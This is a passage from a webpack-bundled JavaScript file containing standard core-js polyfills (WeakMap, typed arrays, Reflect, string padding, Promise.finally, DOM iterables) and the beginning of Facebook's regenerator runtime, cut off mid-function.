__webpack_require__(7); var fails = __webpack_require__(4); var validate = __webpack_require__(66); var WEAK_MAP = 'WeakMap'; var getWeak = meta.getWeak; var isExtensible = Object.isExtensible; var uncaughtFrozenStore = weak.ufstore; var tmp = {}; var InternalMap; var wrapper = function (get) { return function WeakMap() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; }; var methods = { // 23.3.3.3 WeakMap.prototype.get(key) get: function get(key) { if (isObject(key)) { var data = getWeak(key); if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key); return data ? data[this._i] : undefined; } }, // 23.3.3.5 WeakMap.prototype.set(key, value) set: function set(key, value) { return weak.def(validate(this, WEAK_MAP), key, value); } }; // 23.3 WeakMap Objects var $WeakMap = module.exports = __webpack_require__(88)(WEAK_MAP, wrapper, methods, weak, true, true); // IE11 WeakMap frozen keys fix if (fails(function () { return new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7; })) { InternalMap = weak.getConstructor(wrapper, WEAK_MAP); assign(InternalMap.prototype, methods); meta.NEED = true; each(['delete', 'has', 'get', 'set'], function (key) { var proto = $WeakMap.prototype; var method = proto[key]; redefine(proto, key, function (a, b) { // store frozen objects on internal weakmap shim if (isObject(a) && !isExtensible(a)) { if (!this._f) this._f = new InternalMap(); var result = this._f[key](a, b); return key == 'set' ? this : result; // store all the rest on native weakmap } return method.call(this, a, b); }); }); } /***/ }), /* 555 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var weak = __webpack_require__(155); var validate = __webpack_require__(66); var WEAK_SET = 'WeakSet'; // 23.4 WeakSet Objects __webpack_require__(88)(WEAK_SET, function (get) { return function WeakSet() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; }, { // 23.4.3.1 WeakSet.prototype.add(value) add: function add(value) { return weak.def(validate(this, WEAK_SET), value, true); } }, weak, false, true); /***/ }), /* 556 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $typed = __webpack_require__(89); var buffer = __webpack_require__(118); var anObject = __webpack_require__(5); var toAbsoluteIndex = __webpack_require__(54); var toLength = __webpack_require__(16); var isObject = __webpack_require__(7); var ArrayBuffer = __webpack_require__(6).ArrayBuffer; var speciesConstructor = __webpack_require__(73); var $ArrayBuffer = buffer.ArrayBuffer; var $DataView = buffer.DataView; var $isView = $typed.ABV && ArrayBuffer.isView; var $slice = $ArrayBuffer.prototype.slice; var VIEW = $typed.VIEW; var ARRAY_BUFFER = 'ArrayBuffer'; $export($export.G + $export.W + $export.F * (ArrayBuffer !== $ArrayBuffer), { ArrayBuffer: $ArrayBuffer }); $export($export.S + $export.F * !$typed.CONSTR, ARRAY_BUFFER, { // 24.1.3.1 ArrayBuffer.isView(arg) isView: function isView(it) { return $isView && $isView(it) || isObject(it) && VIEW in it; } }); $export($export.P + $export.U + $export.F * __webpack_require__(4)(function () { return !new $ArrayBuffer(2).slice(1, undefined).byteLength; }), ARRAY_BUFFER, { // 24.1.4.3 ArrayBuffer.prototype.slice(start, end) slice: function slice(start, end) { if ($slice !== undefined && end === undefined) return $slice.call(anObject(this), start); // FF fix var len = anObject(this).byteLength; var first = toAbsoluteIndex(start, len); var fin = toAbsoluteIndex(end === undefined ? len : end, len); var result = new (speciesConstructor(this, $ArrayBuffer))(toLength(fin - first)); var viewS = new $DataView(this); var viewT = new $DataView(result); var index = 0; while (first < fin) { viewT.setUint8(index++, viewS.getUint8(first++)); } return result; } }); __webpack_require__(63)(ARRAY_BUFFER); /***/ }), /* 557 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); $export($export.G + $export.W + $export.F * !__webpack_require__(89).ABV, { DataView: __webpack_require__(118).DataView }); /***/ }), /* 558 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Int8', 1, function (init) { return function Int8Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 559 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Uint8', 1, function (init) { return function Uint8Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 560 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Uint8', 1, function (init) { return function Uint8ClampedArray(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }, true); /***/ }), /* 561 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Int16', 2, function (init) { return function Int16Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 562 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Uint16', 2, function (init) { return function Uint16Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 563 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Int32', 4, function (init) { return function Int32Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 564 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Uint32', 4, function (init) { return function Uint32Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 565 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Float32', 4, function (init) { return function Float32Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 566 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(41)('Float64', 8, function (init) { return function Float64Array(data, byteOffset, length) { return init(this, data, byteOffset, length); }; }); /***/ }), /* 567 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.1 Reflect.apply(target, thisArgument, argumentsList) var $export = __webpack_require__(0); var aFunction = __webpack_require__(38); var anObject = __webpack_require__(5); var rApply = (__webpack_require__(6).Reflect || {}).apply; var fApply = Function.apply; // MS Edge argumentsList argument is optional $export($export.S + $export.F * !__webpack_require__(4)(function () { rApply(function () { /* empty */ }); }), 'Reflect', { apply: function apply(target, thisArgument, argumentsList) { var T = aFunction(target); var L = anObject(argumentsList); return rApply ? rApply(T, thisArgument, L) : fApply.call(T, thisArgument, L); } }); /***/ }), /* 568 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.2 Reflect.construct(target, argumentsList [, newTarget]) var $export = __webpack_require__(0); var create = __webpack_require__(55); var aFunction = __webpack_require__(38); var anObject = __webpack_require__(5); var isObject = __webpack_require__(7); var fails = __webpack_require__(4); var bind = __webpack_require__(137); var rConstruct = (__webpack_require__(6).Reflect || {}).construct; // MS Edge supports only 2 arguments and argumentsList argument is optional // FF Nightly sets third argument as `new.target`, but does not create `this` from it var NEW_TARGET_BUG = fails(function () { function F() { /* empty */ } return !(rConstruct(function () { /* empty */ }, [], F) instanceof F); }); var ARGS_BUG = !fails(function () { rConstruct(function () { /* empty */ }); }); $export($export.S + $export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', { construct: function construct(Target, args /* , newTarget */) { aFunction(Target); anObject(args); var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]); if (ARGS_BUG && !NEW_TARGET_BUG) return rConstruct(Target, args, newTarget); if (Target == newTarget) { // w/o altered newTarget, optimization for 0-4 arguments switch (args.length) { case 0: return new Target(); case 1: return new Target(args[0]); case 2: return new Target(args[0], args[1]); case 3: return new Target(args[0], args[1], args[2]); case 4: return new Target(args[0], args[1], args[2], args[3]); } // w/o altered newTarget, lot of arguments case var $args = [null]; $args.push.apply($args, args); return new (bind.apply(Target, $args))(); } // with altered newTarget, not support built-in constructors var proto = newTarget.prototype; var instance = create(isObject(proto) ? proto : Object.prototype); var result = Function.apply.call(Target, instance, args); return isObject(result) ? result : instance; } }); /***/ }), /* 569 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.3 Reflect.defineProperty(target, propertyKey, attributes) var dP = __webpack_require__(17); var $export = __webpack_require__(0); var anObject = __webpack_require__(5); var toPrimitive = __webpack_require__(44); // MS Edge has broken Reflect.defineProperty - throwing instead of returning false $export($export.S + $export.F * __webpack_require__(4)(function () { // eslint-disable-next-line no-undef Reflect.defineProperty(dP.f({}, 1, { value: 1 }), 1, { value: 2 }); }), 'Reflect', { defineProperty: function defineProperty(target, propertyKey, attributes) { anObject(target); propertyKey = toPrimitive(propertyKey, true); anObject(attributes); try { dP.f(target, propertyKey, attributes); return true; } catch (e) { return false; } } }); /***/ }), /* 570 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.4 Reflect.deleteProperty(target, propertyKey) var $export = __webpack_require__(0); var gOPD = __webpack_require__(34).f; var anObject = __webpack_require__(5); $export($export.S, 'Reflect', { deleteProperty: function deleteProperty(target, propertyKey) { var desc = gOPD(anObject(target), propertyKey); return desc && !desc.configurable ? false : delete target[propertyKey]; } }); /***/ }), /* 571 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 26.1.5 Reflect.enumerate(target) var $export = __webpack_require__(0); var anObject = __webpack_require__(5); var Enumerate = function (iterated) { this._t = anObject(iterated); // target this._i = 0; // next index var keys = this._k = []; // keys var key; for (key in iterated) keys.push(key); }; __webpack_require__(144)(Enumerate, 'Object', function () { var that = this; var keys = that._k; var key; do { if (that._i >= keys.length) return { value: undefined, done: true }; } while (!((key = keys[that._i++]) in that._t)); return { value: key, done: false }; }); $export($export.S, 'Reflect', { enumerate: function enumerate(target) { return new Enumerate(target); } }); /***/ }), /* 572 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.6 Reflect.get(target, propertyKey [, receiver]) var gOPD = __webpack_require__(34); var getPrototypeOf = __webpack_require__(57); var has = __webpack_require__(27); var $export = __webpack_require__(0); var isObject = __webpack_require__(7); var anObject = __webpack_require__(5); function get(target, propertyKey /* , receiver */) { var receiver = arguments.length < 3 ? target : arguments[2]; var desc, proto; if (anObject(target) === receiver) return target[propertyKey]; if (desc = gOPD.f(target, propertyKey)) return has(desc, 'value') ? desc.value : desc.get !== undefined ? desc.get.call(receiver) : undefined; if (isObject(proto = getPrototypeOf(target))) return get(proto, propertyKey, receiver); } $export($export.S, 'Reflect', { get: get }); /***/ }), /* 573 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey) var gOPD = __webpack_require__(34); var $export = __webpack_require__(0); var anObject = __webpack_require__(5); $export($export.S, 'Reflect', { getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey) { return gOPD.f(anObject(target), propertyKey); } }); /***/ }), /* 574 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.8 Reflect.getPrototypeOf(target) var $export = __webpack_require__(0); var getProto = __webpack_require__(57); var anObject = __webpack_require__(5); $export($export.S, 'Reflect', { getPrototypeOf: function getPrototypeOf(target) { return getProto(anObject(target)); } }); /***/ }), /* 575 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.9 Reflect.has(target, propertyKey) var $export = __webpack_require__(0); $export($export.S, 'Reflect', { has: function has(target, propertyKey) { return propertyKey in target; } }); /***/ }), /* 576 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.10 Reflect.isExtensible(target) var $export = __webpack_require__(0); var anObject = __webpack_require__(5); var $isExtensible = Object.isExtensible; $export($export.S, 'Reflect', { isExtensible: function isExtensible(target) { anObject(target); return $isExtensible ? $isExtensible(target) : true; } }); /***/ }), /* 577 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.11 Reflect.ownKeys(target) var $export = __webpack_require__(0); $export($export.S, 'Reflect', { ownKeys: __webpack_require__(157) }); /***/ }), /* 578 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.12 Reflect.preventExtensions(target) var $export = __webpack_require__(0); var anObject = __webpack_require__(5); var $preventExtensions = Object.preventExtensions; $export($export.S, 'Reflect', { preventExtensions: function preventExtensions(target) { anObject(target); try { if ($preventExtensions) $preventExtensions(target); return true; } catch (e) { return false; } } }); /***/ }), /* 579 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.13 Reflect.set(target, propertyKey, V [, receiver]) var dP = __webpack_require__(17); var gOPD = __webpack_require__(34); var getPrototypeOf = __webpack_require__(57); var has = __webpack_require__(27); var $export = __webpack_require__(0); var createDesc = __webpack_require__(50); var anObject = __webpack_require__(5); var isObject = __webpack_require__(7); function set(target, propertyKey, V /* , receiver */) { var receiver = arguments.length < 4 ? target : arguments[3]; var ownDesc = gOPD.f(anObject(target), propertyKey); var existingDescriptor, proto; if (!ownDesc) { if (isObject(proto = getPrototypeOf(target))) { return set(proto, propertyKey, V, receiver); } ownDesc = createDesc(0); } if (has(ownDesc, 'value')) { if (ownDesc.writable === false || !isObject(receiver)) return false; if (existingDescriptor = gOPD.f(receiver, propertyKey)) { if (existingDescriptor.get || existingDescriptor.set || existingDescriptor.writable === false) return false; existingDescriptor.value = V; dP.f(receiver, propertyKey, existingDescriptor); } else dP.f(receiver, propertyKey, createDesc(0, V)); return true; } return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true); } $export($export.S, 'Reflect', { set: set }); /***/ }), /* 580 */ /***/ (function(module, exports, __webpack_require__) { // 26.1.14 Reflect.setPrototypeOf(target, proto) var $export = __webpack_require__(0); var setProto = __webpack_require__(99); if (setProto) $export($export.S, 'Reflect', { setPrototypeOf: function setPrototypeOf(target, proto) { setProto.check(target, proto); try { setProto.set(target, proto); return true; } catch (e) { return false; } } }); /***/ }), /* 581 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(582); module.exports = __webpack_require__(21).Array.includes; /***/ }), /* 582 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // https://github.com/tc39/Array.prototype.includes var $export = __webpack_require__(0); var $includes = __webpack_require__(79)(true); $export($export.P, 'Array', { includes: function includes(el /* , fromIndex = 0 */) { return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined); } }); __webpack_require__(62)('includes'); /***/ }), /* 583 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(584); module.exports = __webpack_require__(21).String.padStart; /***/ }), /* 584 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // https://github.com/tc39/proposal-string-pad-start-end var $export = __webpack_require__(0); var $pad = __webpack_require__(158); var userAgent = __webpack_require__(87); // https://github.com/zloirock/core-js/issues/280 $export($export.P + $export.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(userAgent), 'String', { padStart: function padStart(maxLength /* , fillString = ' ' */) { return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, true); } }); /***/ }), /* 585 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(586); module.exports = __webpack_require__(21).String.padEnd; /***/ }), /* 586 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // https://github.com/tc39/proposal-string-pad-start-end var $export = __webpack_require__(0); var $pad = __webpack_require__(158); var userAgent = __webpack_require__(87); // https://github.com/zloirock/core-js/issues/280 $export($export.P + $export.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(userAgent), 'String', { padEnd: function padEnd(maxLength /* , fillString = ' ' */) { return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, false); } }); /***/ }), /* 587 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(588); module.exports = __webpack_require__(94).f('asyncIterator'); /***/ }), /* 588 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(131)('asyncIterator'); /***/ }), /* 589 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(590); module.exports = __webpack_require__(21).Object.getOwnPropertyDescriptors; /***/ }), /* 590 */ /***/ (function(module, exports, __webpack_require__) { // https://github.com/tc39/proposal-object-getownpropertydescriptors var $export = __webpack_require__(0); var ownKeys = __webpack_require__(157); var toIObject = __webpack_require__(29); var gOPD = __webpack_require__(34); var createProperty = __webpack_require__(111); $export($export.S, 'Object', { getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object) { var O = toIObject(object); var getDesc = gOPD.f; var keys = ownKeys(O); var result = {}; var i = 0; var key, desc; while (keys.length > i) { desc = getDesc(O, key = keys[i++]); if (desc !== undefined) createProperty(result, key, desc); } return result; } }); /***/ }), /* 591 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(592); module.exports = __webpack_require__(21).Object.values; /***/ }), /* 592 */ /***/ (function(module, exports, __webpack_require__) { // https://github.com/tc39/proposal-object-values-entries var $export = __webpack_require__(0); var $values = __webpack_require__(159)(false); $export($export.S, 'Object', { values: function values(it) { return $values(it); } }); /***/ }), /* 593 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(594); module.exports = __webpack_require__(21).Object.entries; /***/ }), /* 594 */ /***/ (function(module, exports, __webpack_require__) { // https://github.com/tc39/proposal-object-values-entries var $export = __webpack_require__(0); var $entries = __webpack_require__(159)(true); $export($export.S, 'Object', { entries: function entries(it) { return $entries(it); } }); /***/ }), /* 595 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; __webpack_require__(151); __webpack_require__(596); module.exports = __webpack_require__(21).Promise['finally']; /***/ }), /* 596 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // https://github.com/tc39/proposal-promise-finally var $export = __webpack_require__(0); var core = __webpack_require__(21); var global = __webpack_require__(6); var speciesConstructor = __webpack_require__(73); var promiseResolve = __webpack_require__(153); $export($export.P + $export.R, 'Promise', { 'finally': function (onFinally) { var C = speciesConstructor(this, core.Promise || global.Promise); var isFunction = typeof onFinally == 'function'; return this.then( isFunction ? function (x) { return promiseResolve(C, onFinally()).then(function () { return x; }); } : onFinally, isFunction ? function (e) { return promiseResolve(C, onFinally()).then(function () { throw e; }); } : onFinally ); } }); /***/ }), /* 597 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(598); __webpack_require__(599); __webpack_require__(600); module.exports = __webpack_require__(21); /***/ }), /* 598 */ /***/ (function(module, exports, __webpack_require__) { // ie9- setTimeout & setInterval additional parameters fix var global = __webpack_require__(6); var $export = __webpack_require__(0); var userAgent = __webpack_require__(87); var slice = [].slice; var MSIE = /MSIE .\./.test(userAgent); // <- dirty ie9- check var wrap = function (set) { return function (fn, time /* , ...args */) { var boundArgs = arguments.length > 2; var args = boundArgs ? slice.call(arguments, 2) : false; return set(boundArgs ? function () { // eslint-disable-next-line no-new-func (typeof fn == 'function' ? fn : Function(fn)).apply(this, args); } : fn, time); }; }; $export($export.G + $export.B + $export.F * MSIE, { setTimeout: wrap(global.setTimeout), setInterval: wrap(global.setInterval) }); /***/ }), /* 599 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var $task = __webpack_require__(117); $export($export.G + $export.B, { setImmediate: $task.set, clearImmediate: $task.clear }); /***/ }), /* 600 */ /***/ (function(module, exports, __webpack_require__) { var $iterators = __webpack_require__(114); var getKeys = __webpack_require__(53); var redefine = __webpack_require__(23); var global = __webpack_require__(6); var hide = __webpack_require__(28); var Iterators = __webpack_require__(61); var wks = __webpack_require__(12); var ITERATOR = wks('iterator'); var TO_STRING_TAG = wks('toStringTag'); var ArrayValues = Iterators.Array; var DOMIterables = { CSSRuleList: true, // TODO: Not spec compliant, should be false. CSSStyleDeclaration: false, CSSValueList: false, ClientRectList: false, DOMRectList: false, DOMStringList: false, DOMTokenList: true, DataTransferItemList: false, FileList: false, HTMLAllCollection: false, HTMLCollection: false, HTMLFormElement: false, HTMLSelectElement: false, MediaList: true, // TODO: Not spec compliant, should be false. MimeTypeArray: false, NamedNodeMap: false, NodeList: true, PaintRequestList: false, Plugin: false, PluginArray: false, SVGLengthList: false, SVGNumberList: false, SVGPathSegList: false, SVGPointList: false, SVGStringList: false, SVGTransformList: false, SourceBufferList: false, StyleSheetList: true, // TODO: Not spec compliant, should be false. TextTrackCueList: false, TextTrackList: false, TouchList: false }; for (var collections = getKeys(DOMIterables), i = 0; i < collections.length; i++) { var NAME = collections[i]; var explicit = DOMIterables[NAME]; var Collection = global[NAME]; var proto = Collection && Collection.prototype; var key; if (proto) { if (!proto[ITERATOR]) hide(proto, ITERATOR, ArrayValues); if (!proto[TO_STRING_TAG]) hide(proto, TO_STRING_TAG, NAME); Iterators[NAME] = ArrayValues; if (explicit) for (key in $iterators) if (!proto[key]) redefine(proto, key, $iterators[key], true); } } /***/ }), /* 601 */ /***/ (function(module, exports) { /** * Copyright (c) 2014-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ !(function(global) { "use strict"; var Op = Object.prototype; var hasOwn = Op.hasOwnProperty; var undefined; // More compressible than void 0. var $Symbol = typeof Symbol === "function" ? Symbol : {}; var iteratorSymbol = $Symbol.iterator || "@@iterator"; var asyncIteratorSymbol = $Symbol.asyncIterator || "@@asyncIterator"; var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag"; var inModule = typeof module === "object"; var runtime = global.regeneratorRuntime; if (runtime) { if (inModule) { // If regeneratorRuntime is defined globally and we're in a module, // make the exports object identical to regeneratorRuntime. module.exports = runtime; } // Don't bother evaluating the rest of this file if the runtime was // already defined globally. return; } // Define the runtime globally (as expected by generated code) as either // module.exports (if we're in a module) or a new, empty object. runtime = global.regeneratorRuntime = inModule ? module.exports : {}; function wrap(innerFn, outerFn, self, tryLocsList) { // If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator. var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator; var generator = Object.create(protoGenerator.prototype); var context = new Context(tryLocsList || []); // The ._invoke method unifies the implementations of the .next, // .throw, and .return methods. generator._invoke = makeInvokeMethod(innerFn, self, context); return generator; } runtime.wrap = wrap; // Try/catch helper to minimize deoptimizations. Returns a completion // record like context.tryEntries[i].completion. This interface could // have been (and was previously) designed to take a closure to be // invoked without arguments, but in all the cases we care about we // already have an existing method we want to call, so there's no need // to create a new function object. We can even get away with assuming // the method takes exactly one argument, since that happens to be true // in every case, so we don't have to touch the arguments object. The // only additional allocation required is the completion record, which // has a stable shape and so hopefully should be cheap to allocate. function tryCatch(fn, obj, arg) { try { return { type: "normal", arg: fn.call(obj, arg) }; } catch (err) { return { type: "throw", arg: err }; } } var GenStateSuspendedStart = "suspendedStart"; var GenStateSuspendedYield = "suspendedYield"; var GenStateExecuting = "executing"; var GenStateCompleted = "completed"; // Returning this object from the innerFn has the same effect as // breaking out of the dispatch switch statement. var ContinueSentinel = {}; // Dummy constructor functions that we use as the .constructor and // .constructor.prototype properties for functions that return Generator // objects. For full spec compliance, you may wish to configure your // minifier not to mangle the names of these two functions. function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} // This is a polyfill for %IteratorPrototype% for environments that // don't natively support it. var IteratorPrototype = {}; IteratorPrototype[iteratorSymbol] = function () { return this; }; var getProto = Object.getPrototypeOf; var NativeIteratorPrototype = getProto && getProto(getProto(values([]))); if (NativeIteratorPrototype && NativeIteratorPrototype !== Op && hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) { // This environment has a native %IteratorPrototype%; use it instead // of the polyfill. IteratorPrototype = NativeIteratorPrototype; } var Gp = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(IteratorPrototype); GeneratorFunction.prototype = Gp.constructor = GeneratorFunctionPrototype; GeneratorFunctionPrototype.constructor = GeneratorFunction; GeneratorFunctionPrototype[toStringTagSymbol] = GeneratorFunction.displayName = "GeneratorFunction"; // Helper for defining the .next, .throw, and .return methods of the // Iterator interface in terms of a single ._invoke method. function defineIteratorMethods(prototype) { ["next", "throw", "return"].forEach(function(method) { prototype[method] = function(arg) { return this._invoke(method, arg); }; }); } runtime.isGeneratorFunction = function(genFun) { var ctor = typeof genFun === "function" && genFun.constructor; return ctor ? ctor === GeneratorFunction || // For the native GeneratorFunction constructor, the best we can // do is to check its .name property. (ctor.displayName || ctor.name) === "GeneratorFunction" : false; }; runtime.mark = function(genFun) { if (Object.setPrototypeOf) { Object.setPrototypeOf(genFun, GeneratorFunctionPrototype); } else { genFun.__proto__ = GeneratorFunctionPrototype; if (!(toStringTagSymbol in genFun)) { genFun[toStringTagSymbol] = "GeneratorFunction"; } } genFun.prototype = Object.create(Gp); return genFun; }; // Within the body of any async function, `await x` is transformed to // `yield regeneratorRuntime.awrap(x)`, so that the runtime can test // `hasOwn.call(value, "__await")` to determine if the yielded value is // meant to be awaited. runtime.awrap = function(arg) { return { __await: arg }; }; function AsyncIterator(generator) { function invoke(method, arg, resolve, reject) { var record = tryCatch(generator[method], generator, arg); if (record.type === "throw") { reject(record.arg); } else { var result = record.arg; var value = result.value; if (value && typeof value === "object" && hasOwn.call(value, "__await")) { return Promise.resolve(value.__await).then(function(value) { invoke("next", value, resolve, reject); }, function(err) { invoke("throw", err, resolve, reject); }); } return Promise.resolve(value).then(function(unwrapped) { // When a yielded Promise is resolved, its final value becomes // the .value of the Promise<{value,done}> result for the // current iteration. If the Promise is rejected, however, the // result for this iteration will be rejected with the same // reason. Note that rejections of yielded Promises are not // thrown back into the generator function, as is the case // when an awaited Promise is rejected. This difference in // behavior between yield and await is important, because it // allows the consumer to decide what to do with the yielded // rejection (swallow it and continue, manually .throw it back // into the generator, abandon iteration, whatever). With // await, by contrast, there is no opportunity to examine the // rejection reason outside the generator function, so the // only option is to throw it from the await expression, and // let the generator function handle the exception. result.value = unwrapped; resolve(result); }, reject); } } var previousPromise; function enqueue(method, arg) { function callInvokeWithMethodAndArg() { return new Promise(function(resolve, reject) { invoke(method, arg, resolve, reject); }); } return previousPromise = // If enqueue has been called before, then we want to wait until // all previous Promises have been resolved before calling invoke, // so that results are always delivered in the correct order. If // enqueue has not been called before, then it is important to // call invoke immediately, without waiting on a callback to fire, // so that the async generator function has the opportunity to do // any necessary setup in a predictable way. This predictability // is why the Promise constructor synchronously invokes its // executor callback, and why async functions synchronously // execute code before the first await. Since we implement simple // async functions in terms of async generators, it is especially // important to get this right, even though it requires care. previousPromise ? previousPromise.then( callInvokeWithMethodAndArg, // Avoid propagating failures to Promises returned by later // invocations of the iterator. callInvokeWithMethodAndArg ) : callInvokeWithMethodAndArg(); } // Define the unified helper method that is used to implement .next, // .throw, and .return (see defineIteratorMethods). this._invoke = enqueue; } defineIteratorMethods(AsyncIterator.prototype); AsyncIterator.prototype[asyncIteratorSymbol] = function () { return this; }; runtime.AsyncIterator = AsyncIterator; // Note that simple async functions are implemented on top of // AsyncIterator objects; they just return a Promise for the value of // the final result produced by the iterator. runtime.async = function(innerFn, outerFn, self, tryLocsList) { var iter = new AsyncIterator( wrap(innerFn, outerFn, self, tryLocsList) ); return runtime.isGeneratorFunction(outerFn) ? iter // If outerFn is a generator, return the full iterator. : iter.next().then(function(result) { return result.done ? result.value : iter.next(); }); }; function makeInvokeMethod(innerFn, self, context) { var state = GenStateSuspendedStart; return function invoke(method, arg) { if (state === GenStateExecuting) { throw new Error("Generator is already running"); } if (state === GenStateCompleted) { if (method === "throw") { throw arg; } // Be forgiving, per 25.3.3.3.3 of the spec: // https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume return doneResult(); } context.method = method; context.arg = arg; while (true) { var delegate = context.delegate; if (delegate) { var delegateResult = maybeInvokeDelegate(delegate, context); if (delegateResult) { if (delegateResult === ContinueSentinel) continue; return delegateResult; } } if (context.method === "next") { // Setting context._sent for legacy support of Babel's // function.sent implementation. context.sent = context._sent = context.arg; } else if (context.method === "throw") { if (state === GenStateSuspendedStart) { state = GenStateCompleted; throw context.arg; } context.dispatchException(context.arg); } else if (context.method === "return") { context.abrupt("return", context.arg); } state = GenStateExecuting; var record = tryCatch(innerFn, self, context); if (record.type === "normal") { // If an exception is thrown from innerFn, we leave state === // GenStateExecuting and loop back for another invocation. state = context.done ? GenStateCompleted : GenStateSuspendedYield; if (record.arg === ContinueSentinel) { continue; } return { value: record.arg, done: context.done }; } else if (record.type === "throw") { state = GenStateCompleted; // Dispatch the exception by looping back around to the // context.dispatchException(context.arg) call above. context.method = "throw"; context.arg = record.arg; } } }; } // Call delegate.iterator[context.method](context.arg) and handle the // result, either by returning a { value, done } result from the // delegate iterator, or by modifying context.method and context.arg, // setting context.delegate to null, and returning the ContinueSentinel. function maybeInvokeDelegate(delegate, context) { var method = delegate.iterator[context.method]; if (method === undefined) { // A .throw or .return when the delegate iterator has no .throw // method always terminates the yield* loop. context.delegate = null; if (context.method === "throw") { if (delegate.iterator.return) { // If the delegate iterator has a return method, give it a // chance to clean up. context.method = "return"; context.arg = undefined; maybeInvokeDelegate(delegate, context); if (context.method === "throw") { // If maybeInvokeDelegate(context) changed context.method from // "return" to "throw", let that override the TypeError below. return ContinueSentinel; } } context.method = "throw"; context.arg = new TypeError( "The iterator does not provide a 'throw' method"); } return ContinueSentinel; } var record = tryCatch(method, delegate.iterator, context.arg); if (record.type === "throw") { context.method = "throw"; context.arg = record.arg; context.delegate = null; return ContinueSentinel; } var info = record.arg; if (! info) { context.method = "throw"; context.arg = new TypeError("iterator result is not an object"); context.delegate = null; return ContinueSentinel; } if (info.done) { // Assign the result of the finished delegate to the temporary // variable specified by delegate.resultName (see delegateYield). context[delegate.resultName] = info.value; // Resume execution at the desired location (see delegateYield). context.next = delegate.nextLoc; // If context.method was "throw" but the delegate handled the // exception, let the outer generator proceed normally. If // context.method was "next", forget context.arg since it has been // "consumed" by the delegate iterator. If context.method was // "return", allow the original .return call to continue in the // outer generator. if (context.method !== "return") { context.method = "next"; context.arg = undefined; } } else { // Re-yield the result returned by the delegate method. return info; } // The delegate iterator is finished, so forget it and continue with // the outer generator. context.delegate = null; return ContinueSentinel; } // Define Generator.prototype.{next,throw,return} in terms of the // unified ._invoke helper method. defineIteratorMethods(Gp); Gp[toStringTagSymbol] = "Generator"; // A Generator should always return itself as the iterator object when the // @@iterator function is called on it. Some browsers' implementations of the // iterator prototype chain incorrectly implement this, causing the Generator // object to not be returned from this call. This ensures that doesn't happen. // See https://github.com/facebook/regenerator/issues/274 for more details. Gp[iteratorSymbol] = function() { return this; }; Gp.toString = function() { return "[object Generator]"; }; function pushTryEntry(locs) { var entry = { 